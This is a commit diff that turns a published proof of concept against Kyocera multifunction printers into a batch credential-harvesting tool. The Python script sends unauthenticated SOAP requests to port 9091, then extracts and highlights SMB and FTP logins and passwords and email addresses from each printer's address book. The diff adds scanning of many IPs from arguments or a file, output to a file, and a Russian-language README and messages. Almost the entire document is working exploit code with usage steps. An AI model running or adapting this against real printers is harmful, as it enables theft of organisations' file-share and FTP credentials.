Some fix
This commit is contained in:
22
README.md
22
README.md
@@ -14,8 +14,26 @@ The python script connects to the MFP on TCP port 9091 and issues a SOAP request
|
|||||||
|
|
||||||
Feel free to submit a PR with improved parsing, as I never came back around to beautifying the output or exploit process.
|
Feel free to submit a PR with improved parsing, as I never came back around to beautifying the output or exploit process.
|
||||||
|
|
||||||
### Usage:
|
### Usage
|
||||||
`python3 getKyoceraCreds.py <printerip>`
|
|
||||||
|
```bash
|
||||||
|
# одиночный IP
|
||||||
|
python3 getKyoceraCreds.py 10.0.0.10
|
||||||
|
|
||||||
|
# несколько адресов через запятую или аргументами
|
||||||
|
python3 getKyoceraCreds.py 10.0.0.10,10.0.0.20 -i 10.0.0.30
|
||||||
|
|
||||||
|
# загрузка списка IP из файла (по одному в строке, поддерживаются строки через запятую)
|
||||||
|
python3 getKyoceraCreds.py -f ips.txt
|
||||||
|
|
||||||
|
# сохранение результата в файл
|
||||||
|
python3 getKyoceraCreds.py 10.0.0.10 -o result.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Скрипт выводит прогресс по каждому устройству и пытается разобрать SOAP-ответы, показывая поля
|
||||||
|
`login_name`, `login_password`, `email_address`, а при их отсутствии — подробные записи адресной книги
|
||||||
|
(имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются
|
||||||
|
в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -4,51 +4,306 @@ Extracts sensitive data stored in the printer address book, unauthenticated, inc
|
|||||||
*email addresses
|
*email addresses
|
||||||
*SMB file share credentials used to write scan jobs to a network fileshare
|
*SMB file share credentials used to write scan jobs to a network fileshare
|
||||||
*FTP credentials
|
*FTP credentials
|
||||||
|
|
||||||
Author: Aaron Herndon, @ac3lives (Rapid7)
|
Author: Aaron Herndon, @ac3lives (Rapid7)
|
||||||
Date: 11/12/2021
|
Date: 11/12/2021
|
||||||
Tested versions:
|
Tested versions:
|
||||||
* ECOSYS M2640idw
|
* ECOSYS M2640idw
|
||||||
* TASKalfa 406ci
|
* TASKalfa 406ci
|
||||||
*
|
*
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
python3 getKyoceraCreds.py printerip
|
python3 getKyoceraCreds.py printerip
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import requests
|
import argparse
|
||||||
import xmltodict
|
import re
|
||||||
import warnings
|
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
import warnings
|
||||||
|
from typing import Dict, Iterable, List, Optional, Sequence
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import xmltodict
|
||||||
|
|
||||||
warnings.filterwarnings("ignore")
|
warnings.filterwarnings("ignore")
|
||||||
|
|
||||||
url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
|
|
||||||
headers = {'content-type': 'application/soap+xml'}
|
class Reporter:
|
||||||
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
|
def __init__(self, file_path: Optional[str] = None):
|
||||||
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
|
self.file = None
|
||||||
|
self._ansi_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||||
response = requests.post(url,data=body,headers=headers, verify=False)
|
if file_path:
|
||||||
strResponse = response.content.decode('utf-8')
|
self.file = open(file_path, "w", encoding="utf-8")
|
||||||
#print(strResponse)
|
|
||||||
|
def write(self, message: str = "") -> None:
|
||||||
|
print(message)
|
||||||
parsed = xmltodict.parse(strResponse)
|
if self.file:
|
||||||
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
|
cleaned = self._ansi_re.sub("", message)
|
||||||
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
|
self.file.write(cleaned + "\n")
|
||||||
|
self.file.flush()
|
||||||
body = """<?xml version="1.0" encoding="utf-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:get_personal_address_listRequest><ns1:enumeration>{}</ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(getNumber)
|
|
||||||
|
def close(self) -> None:
|
||||||
print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
|
if self.file:
|
||||||
time.sleep(5)
|
self.file.close()
|
||||||
print("Submitting request to retrieve the address book object...")
|
|
||||||
|
def __enter__(self):
|
||||||
|
return self
|
||||||
response = requests.post(url,data=body,headers=headers, verify=False)
|
|
||||||
strResponse = response.content.decode('utf-8')
|
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||||
#rint(strResponse)
|
self.close()
|
||||||
|
|
||||||
parsed = xmltodict.parse(strResponse)
|
|
||||||
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
|
def parse_ip_input(values: Sequence[str]) -> List[str]:
|
||||||
|
ips: List[str] = []
|
||||||
print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")
|
for value in values:
|
||||||
|
for ip in value.split(","):
|
||||||
|
cleaned = ip.strip()
|
||||||
|
if cleaned:
|
||||||
|
ips.append(cleaned)
|
||||||
|
return ips
|
||||||
|
|
||||||
|
|
||||||
|
def load_ips_from_file(path: str) -> List[str]:
|
||||||
|
with open(path, "r", encoding="utf-8") as f:
|
||||||
|
lines = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")]
|
||||||
|
return parse_ip_input(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def build_request_body(action: str, payload: str) -> str:
|
||||||
|
return (
|
||||||
|
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
|
||||||
|
"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\" "
|
||||||
|
"xmlns:SOAP-ENC=\"http://www.w3.org/2003/05/soap-encoding\" "
|
||||||
|
"xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
|
||||||
|
"xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:xop=\"http://www.w3.org/2004/08/xop/include\" "
|
||||||
|
"xmlns:ns1=\"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book\">"
|
||||||
|
"<SOAP-ENV:Header>"
|
||||||
|
f"<wsa:Action SOAP-ENV:mustUnderstand=\"true\">{action}</wsa:Action>"
|
||||||
|
"</SOAP-ENV:Header>"
|
||||||
|
f"<SOAP-ENV:Body>{payload}</SOAP-ENV:Body>"
|
||||||
|
"</SOAP-ENV:Envelope>"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def request_enumeration(url: str, headers: Dict[str, str]) -> str:
|
||||||
|
body = build_request_body(
|
||||||
|
"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration",
|
||||||
|
"<ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest>",
|
||||||
|
)
|
||||||
|
response = requests.post(url, data=body, headers=headers, verify=False)
|
||||||
|
parsed = xmltodict.parse(response.content.decode("utf-8"))
|
||||||
|
return (
|
||||||
|
parsed["SOAP-ENV:Envelope"]["SOAP-ENV:Body"][
|
||||||
|
"kmaddrbook:create_personal_address_enumerationResponse"
|
||||||
|
]["kmaddrbook:enumeration"]
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def request_address_list(url: str, headers: Dict[str, str], enumeration: str):
|
||||||
|
body = build_request_body(
|
||||||
|
"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list",
|
||||||
|
f"<ns1:get_personal_address_listRequest><ns1:enumeration>{enumeration}</ns1:enumeration></ns1:get_personal_address_listRequest>",
|
||||||
|
)
|
||||||
|
response = requests.post(url, data=body, headers=headers, verify=False)
|
||||||
|
return xmltodict.parse(response.content.decode("utf-8"))
|
||||||
|
|
||||||
|
|
||||||
|
def find_credential_entries(data) -> List[Dict[str, str]]:
|
||||||
|
entries: List[Dict[str, str]] = []
|
||||||
|
|
||||||
|
def walk(obj):
|
||||||
|
if isinstance(obj, dict):
|
||||||
|
keys = set(obj.keys())
|
||||||
|
if keys & {"login_name", "login_password", "email_address", "emailaddress"}:
|
||||||
|
entries.append(obj)
|
||||||
|
for value in obj.values():
|
||||||
|
walk(value)
|
||||||
|
elif isinstance(obj, list):
|
||||||
|
for item in obj:
|
||||||
|
walk(item)
|
||||||
|
|
||||||
|
walk(data)
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_list(value):
|
||||||
|
if value is None:
|
||||||
|
return []
|
||||||
|
if isinstance(value, list):
|
||||||
|
return value
|
||||||
|
return [value]
|
||||||
|
|
||||||
|
|
||||||
|
def parse_personal_addresses(body: Dict) -> List[Dict[str, str]]:
|
||||||
|
response = body.get("kmaddrbook:get_personal_address_listResponse", {})
|
||||||
|
personal = _ensure_list(response.get("kmaddrbook:personal_address"))
|
||||||
|
|
||||||
|
parsed: List[Dict[str, str]] = []
|
||||||
|
for item in personal:
|
||||||
|
name_info = item.get("kmaddrbook:name_information", {})
|
||||||
|
email_info = item.get("kmaddrbook:email_information", {})
|
||||||
|
ftp_info = item.get("kmaddrbook:ftp_information", {})
|
||||||
|
smb_info = item.get("kmaddrbook:smb_information", {})
|
||||||
|
|
||||||
|
parsed.append(
|
||||||
|
{
|
||||||
|
"id": name_info.get("kmaddrbook:id"),
|
||||||
|
"name": name_info.get("kmaddrbook:name"),
|
||||||
|
"furigana": name_info.get("kmaddrbook:furigana"),
|
||||||
|
"email": email_info.get("kmaddrbook:address"),
|
||||||
|
"ftp_server": ftp_info.get("kmaddrbook:server_name"),
|
||||||
|
"ftp_port": ftp_info.get("kmaddrbook:port_number"),
|
||||||
|
"ftp_login": ftp_info.get("kmaddrbook:login_name")
|
||||||
|
or ftp_info.get("kmaddrbook:user_name"),
|
||||||
|
"ftp_password": ftp_info.get("kmaddrbook:login_password"),
|
||||||
|
"smb_server": smb_info.get("kmaddrbook:server_name"),
|
||||||
|
"smb_port": smb_info.get("kmaddrbook:port_number"),
|
||||||
|
"smb_login": smb_info.get("kmaddrbook:login_name"),
|
||||||
|
"smb_password": smb_info.get("kmaddrbook:login_password"),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
return parsed
|
||||||
|
|
||||||
|
|
||||||
|
def _highlight_password(value: str) -> str:
|
||||||
|
if value is None:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
is_terminal = sys.stdout.isatty()
|
||||||
|
prefix = "\033[91m" if is_terminal else ""
|
||||||
|
suffix = "\033[0m" if is_terminal else ""
|
||||||
|
return f"{prefix}!! ПАРОЛЬ: {value} !!{suffix}"
|
||||||
|
|
||||||
|
|
||||||
|
def _format_value(label: str, value: Optional[str]) -> Optional[str]:
|
||||||
|
if value in (None, ""):
|
||||||
|
return None
|
||||||
|
if "пароль" in label.lower() or "password" in label.lower():
|
||||||
|
return _highlight_password(value)
|
||||||
|
return str(value)
|
||||||
|
|
||||||
|
|
||||||
|
def display_address_book(addresses: Iterable[Dict[str, str]], reporter: Reporter) -> None:
|
||||||
|
for idx, entry in enumerate(addresses, start=1):
|
||||||
|
reporter.write(f" Контакт {idx}:")
|
||||||
|
for label, key in [
|
||||||
|
("ID", "id"),
|
||||||
|
("Имя", "name"),
|
||||||
|
("Фуригана", "furigana"),
|
||||||
|
("Email", "email"),
|
||||||
|
("FTP сервер", "ftp_server"),
|
||||||
|
("FTP порт", "ftp_port"),
|
||||||
|
("FTP логин", "ftp_login"),
|
||||||
|
("FTP пароль", "ftp_password"),
|
||||||
|
("SMB сервер", "smb_server"),
|
||||||
|
("SMB порт", "smb_port"),
|
||||||
|
("SMB логин", "smb_login"),
|
||||||
|
("SMB пароль", "smb_password"),
|
||||||
|
]:
|
||||||
|
formatted = _format_value(label, entry.get(key))
|
||||||
|
if formatted:
|
||||||
|
reporter.write(f" {label}: {formatted}")
|
||||||
|
reporter.write()
|
||||||
|
|
||||||
|
|
||||||
|
def display_entries(entries: Iterable[Dict[str, str]], reporter: Reporter) -> None:
|
||||||
|
for idx, entry in enumerate(entries, start=1):
|
||||||
|
reporter.write(f" Запись {idx}:")
|
||||||
|
for key, value in entry.items():
|
||||||
|
if isinstance(value, (dict, list)):
|
||||||
|
continue
|
||||||
|
formatted = _format_value(key, value)
|
||||||
|
if formatted:
|
||||||
|
reporter.write(f" {key}: {formatted}")
|
||||||
|
reporter.write()
|
||||||
|
|
||||||
|
|
||||||
|
def process_printer(ip: str, reporter: Reporter) -> None:
|
||||||
|
url = f"https://{ip}:9091/ws/km-wsdl/setting/address_book"
|
||||||
|
headers = {"content-type": "application/soap+xml"}
|
||||||
|
|
||||||
|
try:
|
||||||
|
enumeration = request_enumeration(url, headers)
|
||||||
|
except Exception as exc: # noqa: BLE001
|
||||||
|
reporter.write(f"[!] Не удалось получить объект адресной книги с {ip}: {exc}")
|
||||||
|
return
|
||||||
|
|
||||||
|
reporter.write(f"[*] Получен объект адресной книги {enumeration} от {ip}. Ожидание заполнения...")
|
||||||
|
time.sleep(5)
|
||||||
|
reporter.write("[*] Запрашиваем адресную книгу...")
|
||||||
|
|
||||||
|
try:
|
||||||
|
parsed_response = request_address_list(url, headers, enumeration)
|
||||||
|
except Exception as exc: # noqa: BLE001
|
||||||
|
reporter.write(f"[!] Не удалось получить адресную книгу с {ip}: {exc}")
|
||||||
|
return
|
||||||
|
|
||||||
|
body = parsed_response.get("SOAP-ENV:Envelope", {}).get("SOAP-ENV:Body", {})
|
||||||
|
entries = find_credential_entries(body)
|
||||||
|
|
||||||
|
if entries:
|
||||||
|
reporter.write(f"[*] Найдено записей с учетными данными: {len(entries)}")
|
||||||
|
display_entries(entries, reporter)
|
||||||
|
else:
|
||||||
|
addresses = parse_personal_addresses(body)
|
||||||
|
if addresses:
|
||||||
|
reporter.write("[!] Явные учетные данные не найдены. Распарсенные записи адресной книги:")
|
||||||
|
display_address_book(addresses, reporter)
|
||||||
|
else:
|
||||||
|
reporter.write("[!] Не найдено ни учетных данных, ни записей адресной книги. Полный ответ:")
|
||||||
|
reporter.write(str(body))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def main(argv: Sequence[str]) -> None:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Извлечение адресной книги Kyocera без аутентификации",
|
||||||
|
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
|
||||||
|
)
|
||||||
|
parser.add_argument("ips", nargs="*", help="IP-адреса (через пробел или запятую)")
|
||||||
|
parser.add_argument(
|
||||||
|
"-i",
|
||||||
|
"--ip",
|
||||||
|
dest="extra_ips",
|
||||||
|
action="append",
|
||||||
|
default=[],
|
||||||
|
help="Дополнительные IP-адреса (можно перечислять через запятую)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-f",
|
||||||
|
"--file",
|
||||||
|
dest="file",
|
||||||
|
help="Путь к файлу с IP-адресами (один в строке, можно через запятую)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-o",
|
||||||
|
"--output",
|
||||||
|
dest="output",
|
||||||
|
help="Путь к файлу для сохранения результатов",
|
||||||
|
)
|
||||||
|
|
||||||
|
args = parser.parse_args(argv)
|
||||||
|
|
||||||
|
ips: List[str] = []
|
||||||
|
if args.file:
|
||||||
|
ips.extend(load_ips_from_file(args.file))
|
||||||
|
ips.extend(parse_ip_input(args.ips))
|
||||||
|
ips.extend(parse_ip_input(args.extra_ips))
|
||||||
|
|
||||||
|
if not ips:
|
||||||
|
print("Необходимо указать хотя бы один IP-адрес (через аргумент, запятую или файл)")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
unique_ips = list(dict.fromkeys(ips))
|
||||||
|
total = len(unique_ips)
|
||||||
|
|
||||||
|
with Reporter(args.output) as reporter:
|
||||||
|
for index, ip in enumerate(unique_ips, start=1):
|
||||||
|
reporter.write(f"\n[{index}/{total}] Обработка {ip}")
|
||||||
|
process_printer(ip, reporter)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main(sys.argv[1:])
|
||||||
|
|||||||
Reference in New Issue
Block a user